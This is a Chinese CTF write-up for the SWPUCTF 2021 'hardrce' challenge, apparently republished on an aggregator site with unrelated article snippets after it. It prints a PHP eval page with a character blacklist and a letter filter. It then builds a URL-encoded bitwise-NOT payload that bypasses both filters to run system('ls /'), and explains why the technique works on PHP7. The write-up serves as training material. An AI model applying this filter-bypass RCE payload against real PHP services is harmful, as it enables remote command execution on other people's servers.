[SWPUCTF 2021 新生赛]hardrce

[SWPUCTF 2021 新生赛]hardrce wp

参考博客:https://www.cnblogs.com/bkofyZ/p/17644820.html

代码审计

题目的代码如下:

 <?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{$wllm = $_GET['wllm'];$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];foreach ($blacklist as $blackitem){if (preg_match('/' . $blackitem . '/m', $wllm)) {die("LTLT说不能用这些奇奇怪怪的符号哦!");}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!

其中设置了一个黑名单 $blacklist 过滤了许多字符;

此外 preg_match('/[a-zA-Z]/is',$wllm) 过滤了所有大小写字母。

无字母 RCE

首先推荐一篇博客:老生常谈的无字母数字 Webshell 总结 。

无字母数字绕过,就是把非字母数字的字符经过各种转换,变为数字和字母。

由于黑名单中 ’ $ ’ , ’ ^ ‘,’ ` ’ ,’ " '等等都被过滤掉了,我觉得能用的只有取反了(可能还有其他的我没想到)。

取反绕过

构造一个 system('ls /') 要怎么做呢,先输出其取反后的字符串(要用 URL 编码),再取反。

看了好多博客,都是说对函数名和参数值分别取反再拼接,比如:

<?php
# 先对 system 取反,再编码
echo urlencode(~"system");
# 结果:%8C%86%8C%8B%9A%92# 换行
print("\r\n");# 再对 ls / 取反,再编码
echo urlencode(~"ls /");
# 结果:%93%8C%DF%D0
?>

最后做一个拼接:

(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

那为什么取反之后就不会被过滤了呢,这是因为取反后基本上都是不可见字符(总之就是不在黑名单中啦)。

踩坑

但是令我很疑惑的是,为什么不能直接对整体取反呢,比如像下面那样:

<?php
echo urlencode(~"system('ls /')");
?>

得到的 payload 为:

(~%8C%86%8C%8B%9A%92%D7%D8%93%8C%DF%D0%D8%D6);

我试过了,不行,但我不理解,直到看到了这篇博客:

web安全-PHP-url编码取反绕过正则-思考

我才理解了一点。

大致意思是,eval 函数在执行的时候,只有遇到 (func_name)() 这样形式的参数,才会把它当成函数执行,如果传入:

(~%8C%86%8C%8B%9A%92%D7%D8%93%8C%DF%D0%D8%D6);

这样的,eval 识别不出它是一个函数,因此仅仅执行了取反操作。

另外还有一点我不理解,上面传入的 payload 在取反之后应该是这样子的才对:

eval("(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);")
# eval 执行取反操作后
eval("('system')('ls /');")

('system')('ls /') 为什么能当成 system('ls /') 来执行呢?

这还要归结于 PHP7 的一个特性,PHP 7 中支持这种调用方法,即用 (func_name)() 这种形式来调用函数。

实践是检验真理的唯一标准,让我们把 PHP 版本调成 7.x.x ,并写好以下代码:

<?php
# 输出 PHP 版本号
echo phpversion();
echo ('system')('calc');
?>

访问此页面:

在这里插入图片描述

可以看到输出版本号为 7.3.4 ,并成功弹出计算器。

将 PHP 版本改为 5.x.x,再次访问:

在这里插入图片描述

报错。

事实上,此特性在 PHP7 中支持,而 PHP5 不支持。

如此看来,这种绕过方式还是有条件的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/579084.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据结构之<堆>的介绍

1.简介 堆是一种特殊的数据结构&#xff0c;通常用于实现优先队列。堆是一个可以被看作近似完全二叉树的结构&#xff0c;并且具有一些特殊的性质&#xff0c;根据这些性质&#xff0c;堆被分为最大堆&#xff08;或者大根堆&#xff0c;大顶堆&#xff09;和最小堆两种。 2.…

H266/VVC帧间预测编码技术概述

帧间预测编码简述 帧间预测利用视频时间域的相关性&#xff0c;使用邻近已编码图像像素值预测当前图像的像素值&#xff0c;能有效去除视频时域冗余。 目前主要的视频编码标准中&#xff0c;帧间预测都采用基于块的运动补偿技术&#xff0c;不同的编码标准有不同的分块方式。 …

爆款前端设计工具揭晓!提高工作效率的5款神器,助你事半功倍!

前端设计工具以更低的成本提供更快的移动开发&#xff0c;他们帮助前端开发人员有效地创建响应设计&#xff0c;但找到一个实用的前端设计工具并不容易&#xff0c;在这里&#xff0c;即时设计师为您组织了五个免费和易于使用的前端页面工具&#xff0c;来选择一个&#xff01;…

使用Visual Studio调试VisionPro脚本

使用Visual Studio调试VisionPro脚本 方法一 &#xff1a; 修改项目文件 csproj步骤&#xff1a; 方法二 &#xff1a; Visual Studio附加功能步骤&#xff1a; 方法一 &#xff1a; 修改项目文件 csproj 步骤&#xff1a; 开启VisionPro脚本调试功能 创建一个VisionPro程序…

如何快速删除pdf周围的空白

问题&#xff1a;写论文往往需要pdf格式的图片&#xff0c;但pdf往往四周存在大量空白需要手动截图很麻烦 解决&#xff1a; 打开命令行输入&#xff1a;pdfcrop 图片名.pdf

理解io/nio/netty

一、io io即input/output&#xff0c;输入和输出 1.1 分类 输入流、输出流&#xff08;按数据流向&#xff09; 字节流&#xff08;InputStream/OutputStream&#xff08;细分File/Buffered&#xff09;&#xff09;、字符流(Reader/Writer&#xff08;细分File/Buffered/pu…

智能优化算法应用:基于卷积优化算法3D无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用&#xff1a;基于卷积优化算法3D无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用&#xff1a;基于卷积优化算法3D无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.卷积优化算法4.实验参数设定5.算法结果6.…

Duboo-入门到学废【上篇】

目录 1&#x1f95e;.什么是duboo 2&#x1f32d;.架构图 3.&#x1f37f;快速入门 4.&#x1f9c7;浅浅理解 1.什么是duboo&#x1f936;&#x1f936;&#x1f936; Dubbo是一个由阿里巴巴开发的基于Java的开源RPC框架。它提供了高性能、透明化的远程方法调用&#xff0…

操作系统 面试第一弹

1. 进程和线程的区别 进程&#xff08;Process&#xff09;和线程&#xff08;Thread&#xff09;是操作系统中的重要概念&#xff0c;它们表示执行中的程序的不同执行单元。下面是它们的区别&#xff1a; 定义&#xff1a;进程是一个独立的执行环境&#xff0c;具有独立的内存…

【深度学习】DataComp论文,数据集介绍,大数据模型的数据集介绍

参考&#xff1a; https://laion.ai/blog/datacomp/ 论文&#xff1a;https://arxiv.org/abs/2304.14108 文章目录 论文报告的一些内容datacomp-1B 数据质量比lainon2B要好不同规模数据有多少数据数据处理数据来源 论文报告的一些内容 摘要 多模态数据集是近期如CLIP、Stable …

TCP服务器的演变过程:IO多路复用机制select实现TCP服务器

IO多路复用机制select实现TCP服务器 一、前言二、新增使用API函数2.1、select()函数2.2、FD_*系列函数 三、实现步骤四、完整代码五、TCP客户端5.1、自己实现一个TCP客户端5.2、Windows下可以使用NetAssist的网络助手工具 小结 一、前言 手把手教你从0开始编写TCP服务器程序&a…

洛谷——【数据结构1-2】二叉树

文章目录 题目【深基16.例1】淘汰赛题目描述输入格式输出格式样例 #1样例输入 #1样例输出 #1基本思路&#xff1a;代码 【深基16.例3】二叉树深度题目描述输入格式输出格式样例 #1样例输入 #1样例输出 #1基本思路&#xff1a;代码 [USACO3.4] 美国血统 American Heritage题目描…

算符优先语法分析设计原理与实现

前言&#xff1a; 作者的词法分析程序以及算符优先语法分析设计程序仓库链接 1、目标任务 **[实验项目] **以专题 1 词法分析程序的输出为语法分析的输入&#xff0c;实现算符优先分析算法&#xff0c;完成以下描述算术表达式的算符优先文法的算符优先分析过程。 G[E]:E→E…

Spark编程实验三:Spark SQL编程

目录 一、目的与要求 二、实验内容 三、实验步骤 1、Spark SQL基本操作 2、编程实现将RDD转换为DataFrame 3、编程实现利用DataFrame读写MySQL的数据 四、结果分析与实验体会 一、目的与要求 1、通过实验掌握Spark SQL的基本编程方法&#xff1b; 2、熟悉RDD到DataFram…

2024免费的数据恢复软件EasyRecovery14自己操作就能恢复的方法

而今天小编为大家还是带来了同系列软件easyrecovery14&#xff0c;这是easyrecovery数据恢复软件中的技术员版本&#xff0c;不仅包含家庭版和专业版的所有功能&#xff0c;而且还旨在简化技术人员的数据恢复过程。软件拥有强大的数据恢复功能&#xff0c;支持使用的恢复场景有…

KNN与KD树博客总结

目录 总结小结&#xff1a; 总结 原始篇&#xff1a;KNN算法及其优缺点算法思想改进篇&#xff1a;KD树&#xff08;KNN的plus版算法实现第一篇&#xff1a;平衡二叉树的构建&#xff08;递归算法实现第二篇&#xff1a;KD树的构建&#xff08;递归算法实现第三篇&#xff1a;…

CentOS 7 设置网络

CentOS 7 设置网络 正常情况 ①登陆进去之后使用下面的命令修改文件 echo ONBOOTyes >> /etc/sysconfig/network-scripts/ifcfg-ens33②如果是虚拟机重启后使用如下命令进行查看IP地址 ip addr注&#xff1a;到这里如果显示有两部分&#xff0c;则代表网络设置成功&a…

华为设备VRP系统管理

为了满足企业业务对网络的需求&#xff0c;网络设备中的系统文件需要不断进行升级。另外&#xff0c;网络设备中的配置文件也需要时常进行备份&#xff0c;以防设备故障或其他灾害给业务带来损害。在升级和备份系统文件或配置文件时&#xff0c;经常会使用FTP和TFTP来传输文件。…

服务器系统时间不同步如何处理

在分布式计算环境中&#xff0c;服务器系统时间的同步至关重要。然而&#xff0c;由于各种原因&#xff0c;服务器系统时间不同步的问题时有发生,这可能会导致严重的问题&#xff0c;如日志不准确、证书验证失败等。下面我们可以一起探讨下造成服务器系统时间不同的原因以及解决…

【Vue2+3入门到实战】(5)Vue基础之Computed计算属性 详细示例

目录 一、今日学习目标1.computed计算属性 二、computed计算属性1.概念2.语法3.注意4.案例5.代码准备 三、computed计算属性 VS methods方法1.computed计算属性2.methods计算属性3.计算属性的优势4.总结 四、计算属性的完整写法五、综合案例-成绩案例六、Computed计算属性总结 …